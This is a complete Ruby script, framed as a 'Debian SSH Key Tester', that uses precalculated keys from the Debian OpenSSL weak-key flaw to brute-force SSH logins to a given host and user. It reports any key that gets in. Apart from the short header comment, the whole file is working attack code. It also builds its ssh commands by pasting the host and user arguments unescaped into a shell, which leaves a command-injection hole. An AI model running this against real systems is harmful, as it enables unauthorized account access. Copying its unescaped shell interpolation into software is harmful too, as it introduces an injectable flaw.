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#!/usr/bin/ruby
#
# Debian SSH Key Tester
# L4teral <l4teral [at] gmail com>
#
# This tool helps to find user accounts with weak SSH keys
# that should be regenerated with an unaffected version
# of openssl.
#
# You will need the precalculated keys provided by HD Moore
# See http://metasploit.com/users/hdm/tools/debian-openssl/
# for further information.
#
# Usage:
# debian_openssh_key_test.rb <host> <user> <keydir>
#
require 'thread'
THREADCOUNT = 10
KEYSPERCONNECT = 3
queue = Queue.new
threads = []
keyfiles = []
host = ARGV.shift or raise "no host given!"
user = ARGV.shift or raise "no user given!"
keysdir = ARGV.shift or raise "no key dir given!"
Dir.new(keysdir).each do |f|
if f =~ /\d+$/ then
keyfiles << f
queue << f
end
end
totalkeys = queue.length
currentkey = 1
THREADCOUNT.times do |i|
threads << Thread.new(i) do |j|
while !queue.empty?
keys = []
KEYSPERCONNECT.times { keys << queue.pop unless queue.empty? }
keys.map! { |f| f = File.join(keysdir, f) }
keys.each do |k|
puts "testing key #{currentkey}/#{totalkeys} #{k}..."
currentkey += 1
end
system "ssh -l #{user} -o PasswordAuthentication=no -i #{keys.join(" -i ")} #{host} \"exit\" &>/dev/null"
if $? == 0 then
keys.each do |k|
system "ssh -l #{user} -o PasswordAuthentication=no -i #{k} #{host} \"exit\" &>/dev/null"
if $? == 0 then
puts "KEYFILE FOUND: \n#{k}"
exit
end
end
end
end
end
end
trap("SIGINT") do
threads.each { |t| t.exit() }
exit
end
threads.each { |t| t.join }